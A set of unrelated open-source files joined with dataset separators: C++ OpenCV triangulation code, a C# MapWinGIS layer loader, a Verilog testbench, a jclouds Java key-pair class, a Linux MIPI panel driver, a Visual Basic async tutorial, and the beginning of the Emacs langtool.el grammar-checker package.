cv::Matx34f P1 = cv::Matx34f(R(0, 0), R(0, 1), R(0, 2), t(0),
R(1, 0), R(1, 1), R(1, 2), t(1),
R(2, 0), R(2, 1), R(2, 2), t(2));
cv::triangulatePoints(P, P1, l, r, pointcloud);
int front_count = 0;
for (int i = 0; i < pointcloud.cols; i++)
{
double normal_factor = pointcloud.col(i).at<float>(3);
cv::Mat_<double> p_3d_l = cv::Mat(P) * (pointcloud.col(i) / normal_factor);
cv::Mat_<double> p_3d_r = cv::Mat(P1) * (pointcloud.col(i) / normal_factor);
if (p_3d_l(2) > 0 && p_3d_r(2) > 0)
front_count++;
}
ROS_DEBUG("MotionEstimator: %f", 1.0 * front_count / pointcloud.cols);
return 1.0 * front_count / pointcloud.cols;
}
void InitialEXRotation::decomposeE(cv::Mat E,
cv::Mat_<double> &R1, cv::Mat_<double> &R2,
cv::Mat_<double> &t1, cv::Mat_<double> &t2)
{
cv::SVD svd(E, cv::SVD::MODIFY_A);
cv::Matx33d W(0, -1, 0,
1, 0, 0,
0, 0, 1);
cv::Matx33d Wt(0, 1, 0,
-1, 0, 0,
0, 0, 1);
R1 = svd.u * cv::Mat(W) * svd.vt;
R2 = svd.u * cv::Mat(Wt) * svd.vt;
t1 = svd.u.col(2);
t2 = -svd.u.col(2);
}
| {
"pile_set_name": "Github"
} |
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
using AxMapWinGIS;
using MapWinGIS;
namespace Examples
{
public partial class MapExamples
{
// <summary>
// Adds all the shapefiles and images with .tif and .png extentions from the specified folder to the map
// </summary>
public bool AddLayers(AxMap axMap1, string dataPath)
{
axMap1.RemoveAllLayers();
axMap1.LockWindow(tkLockMode.lmLock);
try
{
string[] files = Directory.GetFiles(dataPath);
foreach (string file in files)
{
int layerHandle = -1;
if (file.ToLower().EndsWith(".shp"))
{
Shapefile sf = new Shapefile();
if (sf.Open(file, null))
{
layerHandle = axMap1.AddLayer(sf, true);
}
else
MessageBox.Show(sf.ErrorMsg[sf.LastErrorCode]);
}
else if (file.ToLower().EndsWith(".tif") ||
file.ToLower().EndsWith(".png"))
{
Image img = new Image();
if (img.Open(file, ImageType.TIFF_FILE, false, null))
{
layerHandle = axMap1.AddLayer(img, true);
}
else
MessageBox.Show(img.ErrorMsg[img.LastErrorCode]);
}
if (layerHandle != -1)
axMap1.set_LayerName(layerHandle, Path.GetFileName(file));
}
}
finally
{
axMap1.LockWindow(tkLockMode.lmUnlock);
Debug.Print("Layers added to the map: " + axMap1.NumLayers);
}
return axMap1.NumLayers > 0;
}
}
} | {
"pile_set_name": "Github"
} |
//-------------------------------------------------------------------
//-- tones_tb.v
//-- Banco de pruebas para el generador de 4 tonos
//-------------------------------------------------------------------
//-- BQ August 2015. Written by Juan Gonzalez (Obijuan)
//-------------------------------------------------------------------
//-- GPL License
//-------------------------------------------------------------------
module tones_tb();
//-- Registro para generar la señal de reloj
reg clk = 0;
//-- Salidas de los canales
wire ch0, ch1, ch2, ch3;
//-- Instanciar el componente y establecer el valor del divisor
//-- Se pone un valor bajo para simular (de lo contrario tardaria mucho)
tones #(3, 5, 7, 10)
dut(
.clk(clk),
.ch0(ch0),
.ch1(ch1),
.ch2(ch2),
.ch3(ch3)
);
//-- Generador de reloj. Periodo 2 unidades
always
# 1 clk <= ~clk;
//-- Proceso al inicio
initial begin
//-- Fichero donde almacenar los resultados
$dumpfile("tones_tb.vcd");
$dumpvars(0, tones_tb);
# 100 $display("FIN de la simulacion");
$finish;
end
endmodule
| {
"pile_set_name": "Github"
} |
/*
* Licensed to jclouds, Inc. (jclouds) under one or more
* contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. jclouds licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.jclouds.cloudstack.domain;
import java.beans.ConstructorProperties;
import org.jclouds.javax.annotation.Nullable;
import com.google.common.base.Objects;
import com.google.common.base.Objects.ToStringHelper;
/**
* Representation of the API keypair response
*
* @author Andrei Savu
*/
public class ApiKeyPair {
public static Builder<?> builder() {
return new ConcreteBuilder();
}
public Builder<?> toBuilder() {
return new ConcreteBuilder().fromApiKeyPair(this);
}
public abstract static class Builder<T extends Builder<T>> {
protected abstract T self();
protected String apiKey;
protected String secretKey;
/**
* @see ApiKeyPair#getApiKey()
*/
public T apiKey(String apiKey) {
this.apiKey = apiKey;
return self();
}
/**
* @see ApiKeyPair#getSecretKey()
*/
public T secretKey(String secretKey) {
this.secretKey = secretKey;
return self();
}
public ApiKeyPair build() {
return new ApiKeyPair(apiKey, secretKey);
}
public T fromApiKeyPair(ApiKeyPair in) {
return this
.apiKey(in.getApiKey())
.secretKey(in.getSecretKey());
}
}
private static class ConcreteBuilder extends Builder<ConcreteBuilder> {
@Override
protected ConcreteBuilder self() {
return this;
}
}
private final String apiKey;
private final String secretKey;
@ConstructorProperties({
"apikey", "secretkey"
})
protected ApiKeyPair(@Nullable String apiKey, @Nullable String secretKey) {
this.apiKey = apiKey;
this.secretKey = secretKey;
}
@Nullable
public String getApiKey() {
return this.apiKey;
}
@Nullable
public String getSecretKey() {
return this.secretKey;
}
@Override
public int hashCode() {
return Objects.hashCode(apiKey, secretKey);
}
@Override
public boolean equals(Object obj) {
if (this == obj) return true;
if (obj == null || getClass() != obj.getClass()) return false;
ApiKeyPair that = ApiKeyPair.class.cast(obj);
return Objects.equal(this.apiKey, that.apiKey)
&& Objects.equal(this.secretKey, that.secretKey);
}
protected ToStringHelper string() {
return Objects.toStringHelper(this)
.add("apiKey", apiKey).add("secretKey", secretKey);
}
@Override
public String toString() {
return string().toString();
}
}
| {
"pile_set_name": "Github"
} |
/* Copyright (c) 2011, The Linux Foundation. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 and
* only version 2 as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include "msm_fb.h"
#include "mipi_dsi.h"
#include "mipi_simulator.h"
static struct msm_panel_info pinfo;
static struct mipi_dsi_phy_ctrl dsi_video_mode_phy_db = {
{0x03, 0x01, 0x01, 0x00},
{0xaa, 0x3b, 0x1b, 0x00, 0x52, 0x58, 0x20, 0x3f,
0x2e, 0x03, 0x04},
{0x7f, 0x00, 0x00, 0x00},
{0xee, 0x00, 0x86, 0x00},
{0x40, 0xc7, 0xb0, 0xda, 0x00, 0x50, 0x48, 0x63,
0x30, 0x07, 0x03,
0x05, 0x14, 0x03, 0x0, 0x0, 0x54, 0x06, 0x10, 0x04, 0x0},
};
static int __init mipi_video_simulator_init(void)
{
int ret;
if (msm_fb_detect_client("mipi_video_simulator_vga"))
return 0;
pinfo.xres = 640;
pinfo.yres = 480;
pinfo.type = MIPI_VIDEO_PANEL;
pinfo.pdest = DISPLAY_1;
pinfo.wait_cycle = 0;
pinfo.bpp = 24;
pinfo.lcdc.h_back_porch = 6;
pinfo.lcdc.h_front_porch = 6;
pinfo.lcdc.h_pulse_width = 2;
pinfo.lcdc.v_back_porch = 6;
pinfo.lcdc.v_front_porch = 6;
pinfo.lcdc.v_pulse_width = 2;
pinfo.lcdc.border_clr = 0; /* blk */
pinfo.lcdc.underflow_clr = 0xff; /* blue */
pinfo.lcdc.hsync_skew = 0;
pinfo.bl_max = 15;
pinfo.bl_min = 1;
pinfo.fb_num = 2;
pinfo.mipi.mode = DSI_VIDEO_MODE;
pinfo.mipi.pulse_mode_hsa_he = TRUE;
pinfo.mipi.hfp_power_stop = TRUE;
pinfo.mipi.hbp_power_stop = TRUE;
pinfo.mipi.hsa_power_stop = TRUE;
pinfo.mipi.eof_bllp_power_stop = TRUE;
pinfo.mipi.bllp_power_stop = TRUE;
pinfo.mipi.traffic_mode = DSI_NON_BURST_SYNCH_PULSE;
pinfo.mipi.dst_format = DSI_VIDEO_DST_FORMAT_RGB888;
pinfo.mipi.vc = 0;
pinfo.mipi.rgb_swap = DSI_RGB_SWAP_RGB;
pinfo.mipi.data_lane0 = TRUE;
pinfo.mipi.data_lane1 = TRUE;
pinfo.mipi.t_clk_post = 0x03;
pinfo.mipi.t_clk_pre = 0x24;
pinfo.mipi.stream = 0; /* dma_p */
pinfo.mipi.mdp_trigger = DSI_CMD_TRIGGER_SW;
pinfo.mipi.dma_trigger = DSI_CMD_TRIGGER_SW;
pinfo.mipi.frame_rate = 60;
pinfo.mipi.dsi_phy_db = &dsi_video_mode_phy_db;
ret = mipi_simulator_device_register(&pinfo, MIPI_DSI_PRIM,
MIPI_DSI_PANEL_VGA);
if (ret)
pr_err("%s: failed to register device!\n", __func__);
return ret;
}
module_init(mipi_video_simulator_init);
| {
"pile_set_name": "Github"
} |
let f = (.a,b) => a + b;
f(2,2); | {
"pile_set_name": "Github"
} |
---
title: "Start Multiple Async Tasks and Process Them As They Complete"
ms.date: 07/20/2015
ms.assetid: 57ffb748-af40-4794-bedd-bdb7fea062de
---
# Start Multiple Async Tasks and Process Them As They Complete (Visual Basic)
By using <xref:System.Threading.Tasks.Task.WhenAny%2A?displayProperty=nameWithType>, you can start multiple tasks at the same time and process them one by one as they’re completed rather than process them in the order in which they're started.
The following example uses a query to create a collection of tasks. Each task downloads the contents of a specified website. In each iteration of a while loop, an awaited call to `WhenAny` returns the task in the collection of tasks that finishes its download first. That task is removed from the collection and processed. The loop repeats until the collection contains no more tasks.
> [!NOTE]
> To run the examples, you must have Visual Studio 2012 or newer and the .NET Framework 4.5 or newer installed on your computer.
## Downloading the Example
You can download the complete Windows Presentation Foundation (WPF) project from [Async Sample: Fine Tuning Your Application](https://code.msdn.microsoft.com/Async-Fine-Tuning-Your-a676abea) and then follow these steps.
1. Decompress the file that you downloaded, and then start Visual Studio.
2. On the menu bar, choose **File**, **Open**, **Project/Solution**.
3. In the **Open Project** dialog box, open the folder that holds the sample code that you decompressed, and then open the solution (.sln) file for AsyncFineTuningVB.
4. In **Solution Explorer**, open the shortcut menu for the **ProcessTasksAsTheyFinish** project, and then choose **Set as StartUp Project**.
5. Choose the F5 key to run the project.
Choose the Ctrl+F5 keys to run the project without debugging it.
6. Run the project several times to verify that the downloaded lengths don't always appear in the same order.
If you don't want to download the project, you can review the MainWindow.xaml.vb file at the end of this topic.
## Building the Example
This example adds to the code that’s developed in [Cancel Remaining Async Tasks after One Is Complete (Visual Basic)](cancel-remaining-async-tasks-after-one-is-complete.md) and uses the same UI.
To build the example yourself, step by step, follow the instructions in the "Downloading the Example" section, but choose **CancelAfterOneTask** as the **StartUp Project**. Add the changes in this topic to the `AccessTheWebAsync` method in that project. The changes are marked with asterisks.
The **CancelAfterOneTask** project already includes a query that, when executed, creates a collection of tasks. Each call to `ProcessURLAsync` in the following code returns a <xref:System.Threading.Tasks.Task%601> where `TResult` is an integer.
```vb
Dim downloadTasksQuery As IEnumerable(Of Task(Of Integer)) =
From url In urlList Select ProcessURLAsync(url, client, ct)
```
In the MainWindow.xaml.vb file of the project, make the following changes to the `AccessTheWebAsync` method.
- Execute the query by applying <xref:System.Linq.Enumerable.ToList%2A?displayProperty=nameWithType> instead of <xref:System.Linq.Enumerable.ToArray%2A>.
```vb
Dim downloadTasks As List(Of Task(Of Integer)) = downloadTasksQuery.ToList()
```
- Add a while loop that performs the following steps for each task in the collection.
1. Awaits a call to `WhenAny` to identify the first task in the collection to finish its download.
```vb
Dim firstFinishedTask As Task(Of Integer) = Await Task.WhenAny(downloadTasks)
```
2. Removes that task from the collection.
```vb
downloadTasks.Remove(firstFinishedTask)
```
3. Awaits `firstFinishedTask`, which is returned by a call to `ProcessURLAsync`. The `firstFinishedTask` variable is a <xref:System.Threading.Tasks.Task%601> where `TReturn` is an integer. The task is already complete, but you await it to retrieve the length of the downloaded website, as the following example shows.
```vb
Dim length = Await firstFinishedTask
resultsTextBox.Text &= String.Format(vbCrLf & "Length of the downloaded website: {0}" & vbCrLf, length)
```
You should run the project several times to verify that the downloaded lengths don't always appear in the same order.
> [!CAUTION]
> You can use `WhenAny` in a loop, as described in the example, to solve problems that involve a small number of tasks. However, other approaches are more efficient if you have a large number of tasks to process. For more information and examples, see [Processing Tasks as they complete](https://devblogs.microsoft.com/pfxteam/processing-tasks-as-they-complete/).
## Complete Example
The following code is the complete text of the MainWindow.xaml.vb file for the example. Asterisks mark the elements that were added for this example.
Notice that you must add a reference for <xref:System.Net.Http>.
You can download the project from [Async Sample: Fine Tuning Your Application](https://code.msdn.microsoft.com/Async-Fine-Tuning-Your-a676abea).
```vb
' Add an Imports directive and a reference for System.Net.Http.
Imports System.Net.Http
' Add the following Imports directive for System.Threading.
Imports System.Threading
Class MainWindow
' Declare a System.Threading.CancellationTokenSource.
Dim cts As CancellationTokenSource
Private Async Sub startButton_Click(sender As Object, e As RoutedEventArgs)
' Instantiate the CancellationTokenSource.
cts = New CancellationTokenSource()
resultsTextBox.Clear()
Try
Await AccessTheWebAsync(cts.Token)
resultsTextBox.Text &= vbCrLf & "Downloads complete."
Catch ex As OperationCanceledException
resultsTextBox.Text &= vbCrLf & "Downloads canceled." & vbCrLf
Catch ex As Exception
resultsTextBox.Text &= vbCrLf & "Downloads failed." & vbCrLf
End Try
' Set the CancellationTokenSource to Nothing when the download is complete.
cts = Nothing
End Sub
' You can still include a Cancel button if you want to.
Private Sub cancelButton_Click(sender As Object, e As RoutedEventArgs)
If cts IsNot Nothing Then
cts.Cancel()
End If
End Sub
' Provide a parameter for the CancellationToken.
' Change the return type to Task because the method has no return statement.
Async Function AccessTheWebAsync(ct As CancellationToken) As Task
Dim client As HttpClient = New HttpClient()
' Call SetUpURLList to make a list of web addresses.
Dim urlList As List(Of String) = SetUpURLList()
' ***Create a query that, when executed, returns a collection of tasks.
Dim downloadTasksQuery As IEnumerable(Of Task(Of Integer)) =
From url In urlList Select ProcessURLAsync(url, client, ct)
' ***Use ToList to execute the query and start the download tasks.
Dim downloadTasks As List(Of Task(Of Integer)) = downloadTasksQuery.ToList()
' ***Add a loop to process the tasks one at a time until none remain.
While downloadTasks.Count > 0
' ***Identify the first task that completes.
Dim firstFinishedTask As Task(Of Integer) = Await Task.WhenAny(downloadTasks)
' ***Remove the selected task from the list so that you don't
' process it more than once.
downloadTasks.Remove(firstFinishedTask)
' ***Await the first completed task and display the results.
Dim length = Await firstFinishedTask
resultsTextBox.Text &= String.Format(vbCrLf & "Length of the downloaded website: {0}" & vbCrLf, length)
End While
End Function
' Bundle the processing steps for a website into one async method.
Async Function ProcessURLAsync(url As String, client As HttpClient, ct As CancellationToken) As Task(Of Integer)
' GetAsync returns a Task(Of HttpResponseMessage).
Dim response As HttpResponseMessage = Await client.GetAsync(url, ct)
' Retrieve the website contents from the HttpResponseMessage.
Dim urlContents As Byte() = Await response.Content.ReadAsByteArrayAsync()
Return urlContents.Length
End Function
' Add a method that creates a list of web addresses.
Private Function SetUpURLList() As List(Of String)
Dim urls = New List(Of String) From
{
"https://msdn.microsoft.com",
"https://msdn.microsoft.com/library/hh290138.aspx",
"https://msdn.microsoft.com/library/hh290140.aspx",
"https://msdn.microsoft.com/library/dd470362.aspx",
"https://msdn.microsoft.com/library/aa578028.aspx",
"https://msdn.microsoft.com/library/ms404677.aspx",
"https://msdn.microsoft.com/library/ff730837.aspx"
}
Return urls
End Function
End Class
' Sample output:
' Length of the download: 226093
' Length of the download: 412588
' Length of the download: 175490
' Length of the download: 204890
' Length of the download: 158855
' Length of the download: 145790
' Length of the download: 44908
' Downloads complete.
```
## See also
- <xref:System.Threading.Tasks.Task.WhenAny%2A>
- [Fine-Tuning Your Async Application (Visual Basic)](fine-tuning-your-async-application.md)
- [Asynchronous Programming with Async and Await (Visual Basic)](index.md)
- [Async Sample: Fine Tuning Your Application](https://code.msdn.microsoft.com/Async-Fine-Tuning-Your-a676abea)
| {
"pile_set_name": "Github"
} |
;;; langtool.el --- Grammar check utility using LanguageTool
;; Copyright (C) 2011-2020 Masahiro Hayashi
;; Author: Masahiro Hayashi <[email protected]>
;; Keywords: docs
;; URL: https://github.com/mhayashi1120/Emacs-langtool
;; Emacs: GNU Emacs 24 or later
;; Version: 2.2.1
;; Package-Requires: ((cl-lib "0.3"))
;; This program is free software; you can redistribute it and/or
;; modify it under the terms of the GNU General Public License as
;; published by the Free Software Foundation; either version 3, or (at
;; your option) any later version.
;; This program is distributed in the hope that it will be useful, but
;; WITHOUT ANY WARRANTY; without even the implied warranty of
;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;; General Public License for more details.
;; You should have received a copy of the GNU General Public License
;; along with GNU Emacs; see the file COPYING. If not, write to the
;; Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
;; Boston, MA 02110-1301, USA.
;;; Commentary:
;; ## Install:
;; Install LanguageTool version 3.0 or later (and java)
;; https://languagetool.org/
;; Put this file into load-path'ed directory, and byte compile it if
;; desired. And put the following expression into your ~/.emacs.
;;
;; (require 'langtool)
;; ## Settings (required):
;;
;; langtool.el have 3 types of client.
;; 1. Command line
;;
;; This setting should be set, if you use rest of clients, to get full of
;; completion support. And you should be set the variables before load
;; this library.
;;
;; (setq langtool-language-tool-jar "/path/to/languagetool-commandline.jar")
;; (require 'langtool)
;;
;; Alternatively, you can set the classpath where LanguageTool's jars reside
;; (e.g. ArchLinux):
;;
;; (setq langtool-java-classpath
;; "/usr/share/languagetool:/usr/share/java/languagetool/*")
;; (require 'langtool)
;;
;;
;; You can set a script that hold java setting (e.g. Gentoo):
;;
;; (setq langtool-bin "/path/to/your/langtool")
;; (require 'langtool)
;; 2. HTTP server & client
;;
;; You can use HTTP server implementation. This is very fast after listen server,
;; but has security risk if there are multiple user on a same host.
;;
;; (setq langtool-language-tool-server-jar "/path/to/languagetool-server.jar")
;;
;; You can change HTTP server port number like following.
;;
;; (setq langtool-server-user-arguments '("-p" "8082"))
;; 3. HTTP client
;;
;; If you have running HTTP LanguageTool server instance on any machine:
;;
;; (setq langtool-http-server-host "localhost"
;; langtool-http-server-port 8082)
;;
;; Now testing although, that running instance is working under HTTPSServer or via
;; general ssl support (e.g. nginx) following may be working. Again, this is now
;; testing, so please open issue when the ssl/tls connection is not working.
;;
;; (setq langtool-http-server-stream-type 'tls)
;; ## Optional settings
;;
;; * Key binding if you desired.
;;
;; (global-set-key "\C-x4w" 'langtool-check)
;; (global-set-key "\C-x4W" 'langtool-check-done)
;; (global-set-key "\C-x4l" 'langtool-switch-default-language)
;; (global-set-key "\C-x44" 'langtool-show-message-at-point)
;; (global-set-key "\C-x4c" 'langtool-correct-buffer)
;; * Default language is detected by LanguageTool automatically.
;; Please set `langtool-default-language` if you need specific language.
;;
;; (setq langtool-default-language "en-US")
;;
;; Otherwise, invoke `M-x langtool-check` with `C-u` (universal-argument)
;; * Currently GNU java version is not working.
;; Please change the variable to your favorite java executable.
;;
;; (setq langtool-java-bin "/path/to/java")
;; * Maybe your LanguageTool have launcher. (e.g. Gentoo)
;; You need to set `langtool-bin'.
;; See https://github.com/mhayashi1120/Emacs-langtool/issues/24
;;
;; (setq langtool-bin "/usr/bin/languagetool")
;; * Maybe you want to specify your mother tongue.
;;
;; (setq langtool-mother-tongue "en")
;; * To customize LanguageTool commandline arguments.
;;
;; (setq langtool-java-user-arguments '("-Dfile.encoding=UTF-8"))
;;
;; You can also make the variable to buffer local like following:
;;
;; (add-hook '**SOME**-mode-hook
;; (lambda () (set (make-local-variable 'langtool-java-user-arguments)
;; '("-Dfile.encoding=UTF-8"))))
;;
;; NOTE: Although there is no good example, `langtool-user-arguments' is
;; a similar custom variable.
;; ## Usage:
;; * To check current buffer and show warnings.
;;
;; M-x langtool-check
;;
;; Check with different language. You can complete supported language
;; with C-i/TAB
;;
;; C-u M-x langtool-check
;; * To correct marker follow LanguageTool suggestions.
;;
;; M-x langtool-correct-buffer
;; * Go to warning point you can see a report from LanguageTool.
;; Otherwise:
;;
;; M-x langtool-show-message-at-point
;; * Show LanguageTool report automatically by `popup'
;; This idea come from:
;; https://laclefyoshi.hatenablog.com/entry/20150912/langtool_popup
;;
;; (defun langtool-autoshow-detail-popup (overlays)
;; (when (require 'popup nil t)
;; ;; Do not interrupt current popup
;; (unless (or popup-instances
;; ;; suppress popup after type `C-g' .
;; (memq last-command '(keyboard-quit)))
;; (let ((msg (langtool-details-error-message overlays)))
;; (popup-tip msg)))))
;;
;; (setq langtool-autoshow-message-function
;; 'langtool-autoshow-detail-popup)
;; * To finish checking. All langtool marker is removed.
;;
;; M-x langtool-check-done
;;; TODO:
;; * process coding system (test on Windows)
;; * check only docstring (emacs-lisp-mode)
;; or using (derived-mode-p 'prog-mode) and only string and comment
;; * java encoding <-> elisp encoding (No enough information..)
;; * change to --json argument to parse.
;;; Code:
(require 'cl-lib)
(require 'compile)
(require 'json)
(require 'pcase)
(defgroup langtool nil
"Customize langtool"
:prefix "langtool-"
:group 'applications)
;;;
;;; Variables / Faces
;;;
;;
;; constants
;;
(defconst langtool-output-regexp
(eval-when-compile
(concat
"^[0-9]+\\.) Line \\([0-9]+\\), column \\([0-9]+\\), Rule ID: \\(.*\\)\n"
"Message: \\(.*\\)\n"
"\\(?:Suggestion: \\(.*\\)\n\\)?"
;; As long as i can read
;; src/dev/de/danielnaber/languagetool/dev/wikipedia/OutputDumpHandler.java
"\\(\\(?:.*\\)\n\\(?:[ ^]+\\)\\)\n"
"\n?" ; last result have no new-line
)))
;;
;; externals
;;
(defvar current-prefix-arg)
(defvar unread-command-events)
(defvar locale-language-names)
;;
;; faces
;;
(defface langtool-errline
'((((class color) (background dark)) (:background "Firebrick4"))
(((class color) (background light)) (:background "LightPink"))
(t (:bold t)))
"Face used for marking error lines."
:group 'langtool)
(defface langtool-correction-face
'((((class mono)) (:inverse-video t :bold t :underline t))
(t (:background "red1" :foreground "yellow" :bold t)))
"Face used to visualize correction."
:group 'langtool)
;;
;; customize variables
;;
(defcustom langtool-java-bin "java"
"Executing java command."
:group 'langtool
:type 'file)
(defcustom langtool-bin nil
"Executing LanguageTool command."
:group 'langtool
:type 'file)
(defcustom langtool-java-user-arguments nil
"List of string which is passed to java command as arguments.
This java command holds LanguageTool process.
Otherwise, function which return above value.
e.g. ( Described at http://wiki.languagetool.org/command-line-options )
\(setq langtool-java-user-arguments '(\"-Dfile.encoding=UTF-8\"))
"
:group 'langtool
:type '(choice
(repeat string)
function))
(defcustom langtool-language-tool-jar nil
"LanguageTool jar file.
No need to set this variable when `langtool-java-classpath' is set."
:group 'langtool
:type 'file)
(defcustom langtool-language-tool-server-jar nil
"LanguageTool server jar file.
Very fast, but do not use it if there is unreliable user on a same host."
:group 'langtool
:type 'file)
(defcustom langtool-http-server-host nil
"Normally should be \"localhost\" . Do not set the untrusted host/network.
Your post may not be encrypted application layer, so your privacy may be leaked.
Please set `langtool-http-server-port' either.
"
:group 'langtool
:type 'string)
(defcustom langtool-http-server-port nil
"See `langtool-http-server-host' ."
:group 'langtool
:type 'number)
(defcustom langtool-http-server-stream-type nil
"This is now testing and not enough tested yet. This value is passed to
`open-network-stream' `:type' argument.
Valid arguments are same to above except `nil'. This means `plain'."
:group 'langtool
:type 'symbol)
(defcustom langtool-java-classpath nil
"Custom classpath to use on special environment. (e.g. Arch Linux)
Do not set both of this variable and `langtool-language-tool-jar'.
https://github.com/mhayashi1120/Emacs-langtool/pull/12
https://github.com/mhayashi1120/Emacs-langtool/issues/8"
:group 'langtool
:type 'string)
(defcustom langtool-default-language nil
"Language name pass to LanguageTool command.
This is string which indicate locale or `auto' or `nil'.
Currently `auto' and `nil' is a same meaning."
:group 'langtool
:type '(choice
string
(const auto)
(const nil)))
(defcustom langtool-mother-tongue nil
"Your mothertongue Language name pass to LanguageTool."
:group 'langtool
:type 'string)
(defcustom langtool-disabled-rules nil
"Disabled rules pass to LanguageTool.
String that separated by comma or list of string.
"
:group 'langtool
:type '(choice
(list string)
string))
(defcustom langtool-user-arguments nil
"Similar to `langtool-java-user-arguments' except this list is appended
after `-jar' argument.
Valid values are described below:
http://wiki.languagetool.org/command-line-options
Do not change this variable if you don't understand what you are doing.
"
:group 'langtool
:type '(choice
(repeat string)
function))
(defcustom langtool-server-user-arguments nil
"`langtool-language-tool-server-jar' customize arguments.
You can pass `--config' option to the server that indicate java property file.
You can see all valid arguments with following command (Replace path by yourself):
java -jar /path/to/languagetool-server.jar --help
"
:group 'langtool
:type '(choice
(repeat string)
function))
(defcustom langtool-client-filter-query-function nil
"Filter function that accept one query form argument.
This query form is an alist will be encoded by `url-build-query-string'.
Call just before POST with `application/x-www-form-urlencoded'."
:group 'langtool
:type 'function)
(defcustom langtool-error-exists-hook
'(langtool-autoshow-ensure-timer)
"Hook run after LanguageTool process found any error(s)."
:group 'langtool
:type 'hook)
(defcustom langtool-noerror-hook nil
"Hook run after LanguageTool report no error."
:group 'langtool
:type 'hook)
(defcustom langtool-finish-hook
'(langtool-autoshow-cleanup-timer-maybe)
"Hook run after cleanup buffer."
:group 'langtool
:type 'hook)
;;
;; local variables
;;
(defvar langtool-local-disabled-rules nil)
(make-variable-buffer-local 'langtool-local-disabled-rules)
(defvar langtool-temp-file nil)
(make-variable-buffer-local 'langtool-temp-file)
(defvar langtool-buffer-process nil)
(make-variable-buffer-local 'langtool-buffer-process)
(defvar langtool-mode-line-message nil)
(make-variable-buffer-local 'langtool-mode-line-message)
(put 'langtool-mode-line-message 'risky-local-variable t)
(defvar langtool-mode-line-process nil)
(make-variable-buffer-local 'langtool-mode-line-process)
(put 'langtool-mode-line-process 'risky-local-variable t)
(defvar langtool-mode-line-server-process nil)
(put 'langtool-mode-line-server-process 'risky-local-variable t)
(defvar langtool-error-buffer-name " *LanguageTool Errors* ")
(defvar langtool--debug nil)
(defvar langtool--correction-keys
;; (q)uit, (c)lear, (e)dit, (i)gnore
[?0 ?1 ?2 ?3 ?4 ?5 ?6 ?7 ?8 ?9
;; suggestions may over 10.
;; define rest of alphabet just in case.
?a ?b ?d ?f ?g ?h ?j ?k ?l ?m ?n
?o ?p ?r ?s ?t ?u ?v ?w ?x ?y ?z])
;;;
;;; Internal functions
;;;
;;
;; basic functions
;;
(defun langtool-region-active-p ()
(cond
((fboundp 'region-active-p)
(funcall 'region-active-p))
(t
(and transient-mark-mode mark-active))))
(defun langtool--debug (key fmt &rest args)
(when langtool--debug
(let ((buf (get-buffer-create "*Langtool Debug*")))
(with-current-buffer buf
(goto-char (point-max))
(insert "---------- [" key "] ----------\n")
(insert (apply 'format fmt args) "\n")))))
(defun langtool--chomp (s)
(if (string-match "\\(?:\\(\r\n\\)+\\|\\(\n\\)+\\)\\'" s)
(substring s 0 (match-beginning 0))
s))
(defun langtool--make-temp-file ()
(make-temp-file "langtool-"))
;;
;; HTTP basic
;;
(defun langtool-http--parse-response-header ()
;; Not a exact parser. Just a necessary. ;-)
(save-excursion
(goto-char (point-min))
(unless (re-search-forward "^\r\n" nil t)
(error "Parse error. Not found http header separator."))
(let (status headers body-start)
(setq body-start (point))
(forward-line -1)
(save-restriction
(narrow-to-region (point-min) (point))
(goto-char (point-min))
(unless (looking-at "^HTTP/[0-9.]+[\s\t]+\\([0-9]+\\)")
(error "Parse error. Not found HTTP status code"))
(setq status (string-to-number (match-string-no-properties 1)))
(forward-line)
(while (not (eobp))
(let (key value)
(unless (looking-at "^\\([^:]+\\):")
(error "Invalid header of HTTP response"))
(setq key (match-string-no-properties 1))
(goto-char (match-end 0))
(while (looking-at "[\s\t]+\\(.*\\)\r")
(setq value (concat value (match-string-no-properties 1)))
(forward-line 1))
(setq headers (cons (cons key value) headers))))
(list status headers body-start)))))
;;
;; handle error overlay
;;
;;FIXME
;;http://sourceforge.net/tracker/?func=detail&aid=3054895&group_id=110216&atid=655717
(defun langtool--fuzzy-search (context-regexp length)
(let* ((regexp (concat ".*?" context-regexp))
(default (cons (point) (+ (point) length))))
(or (and (null regexp)
(cons (point) (+ (point) length)))
(and (looking-at regexp)
(cons (match-beginning 1) (match-end 1)))
(let ((beg (min (point-at-bol) (- (point) 20))))
(cl-loop while (and (not (bobp))
(<= beg (point)))
;; backward just sentence length to search sentence after point
do (condition-case nil
(backward-char length)
(beginning-of-buffer nil))
if (looking-at regexp)
return (cons (match-beginning 1) (match-end 1))))
default)))
(defun langtool--compute-start&end (version check)
(let ((line (nth 0 check))
(col (nth 1 check))
(len (nth 2 check))
(context (nth 7 check))
;; Only Server <-> Client have the data
(offset (nth 8 check)))
(cond
(offset
(let* ((start (+ (point-min) offset))
(end (+ start len)))
(cons start end)))
(context
;; Command-line client have a bug that point to wrong place.
(goto-char (point-min))
(forward-line (1- line))
;; 1. sketchy move to column that is indicated by LanguageTool.
;; 2. fuzzy match to reported sentence which indicated by ^^^ like string.
;; 3. restrict to the current line
(when (< 0 col)
(forward-char (1- col)))
(langtool--fuzzy-search context len))
(t
(goto-char (point-min))
(forward-line (1- line))
(forward-char col)
(cons (point) (+ (point) len))))))
(defun langtool--create-overlay (version check)
(cl-destructuring-bind (start . end)
(langtool--compute-start&end version check)
(let ((ov (make-overlay start end)))
(overlay-put ov 'langtool-simple-message (nth 4 check))
(overlay-put ov 'langtool-message (nth 5 check))
(overlay-put ov 'langtool-suggestions (nth 3 check))
(overlay-put ov 'langtool-rule-id (nth 6 check))
(overlay-put ov 'priority 1)
(overlay-put ov 'face 'langtool-errline))))
(defun langtool--clear-buffer-overlays ()
(mapc
